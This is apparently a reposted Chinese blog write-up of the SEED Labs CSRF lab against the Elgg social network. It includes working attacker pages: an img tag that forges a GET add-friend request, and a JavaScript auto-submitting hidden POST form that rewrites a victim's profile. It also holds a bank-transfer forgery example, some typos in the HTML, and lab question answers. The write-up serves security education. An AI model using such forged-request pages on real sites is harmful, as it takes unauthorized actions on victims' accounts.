【SEED LAB】Cross-Site Request Forgery (CSRF) Attack Lab -跨站请求伪造

这篇具有很好参考价值的文章主要介绍了【SEED LAB】Cross-Site Request Forgery (CSRF) Attack Lab -跨站请求伪造。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

什么是跨站请求伪造

跨站请求

实际上,用户网页对于网址的请求分为两种。一种是用户浏览器发送给相同网站的数据,被称为same-site request。相反,用户浏览器发送给其他网站的数据被称为cross-site request也就是跨境请求。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

响应(request)的两种形式

在HTTP传输过程中,产生的响应形式一般分成两种。一种是GET型,另一种是POST型。

GET /post_from.php?foo=hello&bar=world HTTP/1.1
Host: wwww.example.com
Cookie: SID=xsdfgergbghedvrbeadv
POST /post_from.php HTTP/1.1
Host: wwww.example.com
Cookie: SID=xsdfgergbghedvrbeadv
Content-Length: 19
foo=hello&bar=world

这两种request形式的区别是foo=hello&bar=world变量所处的位置不同。POST中这个变量存在于HTTP message之中,还有一点要注意的是,Cookies中的数据是用字符串的形式进行表达的。

GET下的跨站请求

假设有一个网上银行www.bank.com,银行允许用户之间进行交易。用户登录到这个网页中,并会拥有一个用于认证用户身份的cookie信息。这时收到一个HTTP request,目的是从他的账户中划走500美刀。

http://www.bank.com/transfer.php?to=3220&amount=500

可以看到?之后to=3220代表目标账户,amount=500代表金额。有了格式之后就可以仿写出有这种请求。如果攻击者将代码放置在自己的web页面中,img和HTML这种标记可以触发src属性中指定的URL的请求,这个请求可以是一个图像或者一个网站。

<img src ="http://www.bank.com/transfer.php?to=3200&amount=500">
<iframe
	 ="http://www.bank.com/transfer.php?to=3200&amount=500">
</iframe>

POST

可以使用HTML表单生成POST请求。

跨站请求伪造实验

环境设置

在虚拟机中打开,实验进行网址http://www.csrflabelgg.com/activity,开始实习。

Task 1: Observing HTTP Request

在firefox浏览器中设置HTTP Header Live工具。使用这个工具可以在Elgg中捕获一个HTTP GET请求和一个HTTP POST请求。

Task 2: CSRF Attack using GET Request

这里利用GET请求,让alice加boby为好友。首先登陆boby的账户(密码是seedboby),并且打开HTTP Header Live获取boby加alice时HTTP的request格式。在这个request中可以看到,boby的编号为42(这里自己再用alice的加一下boby可以知道alice的编号是43)。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全
接下来在自己的虚拟机/var/www/CSRF/Attacker/index.html中,利用刚刚取得的GET request编写一个攻击脚本。在标题中写入Useful Website! 字样,然后直接复制粘贴之前request中加好友的指令,附上__elgg_token, __elgg_ts的值。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

<!DOCTYPE html>
<html>
<head>
<titlei>Useful Website!
</head>
<body>
<p>No Page Available</p>
<img src= 
"http://www.csrflabelgg.com/action/friends/add?friend=43&__elgg_ts=1635922920&__elgg_token=SSy4WUEM7JrEvVfD6EFOMg&__elgg_ts=1635922920&__elgg_token=SSy4WUEM7JrEvVfD6EFOMg"wid&th="1" height="1" />
</body>
</html>

登入boby的账号,在blogs中写上用于跨站访问攻击的网站(http://www.csrflabattacker.com/index.html),发布blog。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全
因为修改此类文件需要root权限,所以在终端上打上如下代码。

sudo service apache2 start

接着重新登录Alice账户并且打开刚刚Boby刚刚发布的blog,并且点击链接。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全
当Alice想要访问Boby发布的工具时,却被重定向到了Boby部署的csrflabattacker页面。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全
退回Alice的页面可以看见Alice已经加Boby为好友,这说明攻击已经完成了。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

Task 3: CSRF Attack using POST Request

这一个问题的目标是用POST要求,改写Alice的个性签名。要想发起攻击,首先要知道改写个性签名之后POST请求的格式是什么样的。于是用Boby的账户编辑个性签名,并用工具捕获相应POST请求。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

在POST请求中找到请求需要发送的网址,就可以写出攻击脚本了。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

新建一个脚本
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全
脚本中写下Alice的信息,准备将Alice的签名改成‘Boby is my Hero’。action上就写入修改签名时捕获的地址。

<html>
<body>
<h1>This page forges an HTTP POST request.</h1>

<script type="text/javascript">
function forge_post()
{
var fields;
// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won’t be able to see them.

fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Boby is my Hero'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='guid' value='42'>";

// Create a <form> element.
var p = document.createElement("form");
// Construct the form
p.action = "http://www.csrflabelgg.com/action/profile/edit"; 
p.innerHTML = fields;
p.method = "post";
// Append the form to the current page. 
document.body.appendChild(p);
// Submit the form 
p.submit();
}
// Invoke forge_post() after the page is loaded. 
window.onload = function() { forge_post();} 
</script>
</body>
</html>

之后保存代码再次用sudo启动apache服务器,然后将Boby发布的Blog链接修改为index2。
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

然后用Alice的账号点入这个链接,这时候POST请求将’Boby is my Hero’改写到Alice的个性签名中了。(右上角会提示已经修改成功)
cross-site request forgery (csrf) attack lab (web application: elgg),LAB,csrf,服务器,前端,网络安全,web安全

问题一

Question 1: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information. Please describe how Boby can solve this problem.
跨站请求伪造需要Alice的id才能攻击。Boby是可以获得Alice的ID的。并且Boby没有Alice的密码,所以他无法登录Alice的账户来ID获取信息,请问应该如何解决。

通过刚才的实验可以知道,想要获得Alice的ID只需要用Boby加Alice为好友的同时用HTTP Header Live来捕获GET请求就可以获得。friend=42中42对应的就是Alice的ID。

http://www.csrflabelgg.com/action/friends/add?friend=42&__elgg_ts=1669116581&__elgg_token=eOwe-Vjkem08kGvPE8qtpg&__elgg_ts=1669116581&__elgg_token=eOwe-Vjkem08kGvPE8qtpg

问题二

Question 2: If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim’s Elgg profile? Please explain.
如果Boby想要攻击所有来访问他页面的人。但是他并不知道谁要访问页面,在这种情况下它还可以发动CSRF攻击来修改别人的个人资料吗?

不能。脚本无法动态填充访问者的ID信息,所以无法攻击未知的访问者。文章来源地址https://www.toymoban.com/news/detail-698632.html

到了这里,关于【SEED LAB】Cross-Site Request Forgery (CSRF) Attack Lab -跨站请求伪造的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 开发安全之:Cross-Site Scripting: Poor Validation

    Overview 在 php 中,程序会使用 HTML、XML 或其他类型的编码,但这些编码方式并不总是能够防止恶意代码访问 Web 浏览器。 Details 使用特定的编码函数(例如 htmlspecialchars() 或 htmlentities())能避免一部分 cross-site scripting 攻击,但不能完全避免。根据数据出现的上下文,除 HTML 编码

    2024年01月23日
    浏览(36)
  • 【SEED Labs 2.0】ICMP Redirect Attack Lab

    本文为 SEED Labs 2.0 - ICMP Redirect Attack Lab 的实验记录。 ICMP 重定向是路由器向 IP 数据包发送者发送的错误消息。 当路由器认为数据包被错误地路由时,使用重定向,并且它想通知发送者它应该为随后发送到同一目的地的数据包使用不同的路由器。攻击者可以使用 ICMP 重定向来

    2024年02月05日
    浏览(91)
  • 【SEED Labs 2.0】ARP Cache Poisoning Attack Lab

    本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录。 地址解析协议 (ARP) 是一种通信协议,用于在给定 IP 地址的情况下发现链路层地址,例如 MAC 地址。ARP 协议是一个非常简单的协议,它没有实施任何安全措施。ARP 缓存中毒攻击是针对 ARP 协议的常见攻击。使用这种攻击

    2024年02月08日
    浏览(43)
  • 【信息安全】seed-labs实验-TCP/IP Attack Lab

    Install SEED VM on VirtualBox 上面完成了一台虚拟机的基本配置,然后clone两台虚拟机,和原来的虚拟机一起,分别是attacker、victim和observer。 attacker是发起攻击的机器、victim是遭受攻击的机器和observer是观察用的机器,同时后面也将victim作为客户端、observer作为服务器。 Oracle Virtua

    2024年02月02日
    浏览(40)
  • 开发安全之:Server-Side Request Forgery

    Overview  函数 fsockopen() 将使用资源 URI 的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求,因为此请求将自应用程序服务器内部 IP 地址发出。 Details 当攻击者可以影响应用程序服务器建立的网络连接时,将会发生 Server-S

    2024年01月21日
    浏览(37)
  • SeedLab——TCP/IP Attack Lab

    TCP/IP协议栈是用于在计算机网络中进行通信的一组协议。它是互联网的核心协议栈,由多个层级的协议构成,应用层、传输层、网络层、数据链路层。每个层级的协议负责不同的功能。 TCP(传输控制协议)是一种面向连接的可靠传输协议,属于TCP/IP协议簇的传输层协议之一。

    2024年02月21日
    浏览(36)
  • 【SEED Labs 2.0】V*N Tunneling Lab

    本文为 SEED Labs 2.0 - V*N Tunneling Lab 的实验记录。 虚拟专用网络 (V*N) 是建立在公共网络(通常是 Internet)之上的专用网络。V*N 内的计算机可以安全地进行通信,就像它们在与外部物理隔离的真实专用网络上一样,即使它们的流量可能通过公共网络。V*N 使员工能够在旅行时安全

    2024年02月10日
    浏览(43)
  • 【SeedLab】ARP Cache Poisoning Attack Lab

    目录 实验手册 实验环境 Task 1: ARP Cache Poisoning Task 1.A (using ARP request). Task 1.B (using ARP reply). Task 1.C (using ARP gratuitous message).  Task 2: MITM Attack on Telnet using ARP Cache Poisoning Task 3: MITM Attack on Netcat using ARP Cache Poisoning ARP Cache Poisoning Attack Lab          本节任务需要通过packet伪造发起

    2024年02月09日
    浏览(36)
  • 【SeedLab】BGP Exploration and Attack Lab

            本实验需要使用SEED互联网仿真器(已集成到docker配置文件)。         启动docker容器,配置文件在/Labsetup/outputs/目录下。由于要配置很多docker容器,所以构建+启动过程会比较漫长。.随着docker启动,仿真器也随之运行,仿真器所用到的设备均为docker容器。        

    2024年02月04日
    浏览(39)
  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包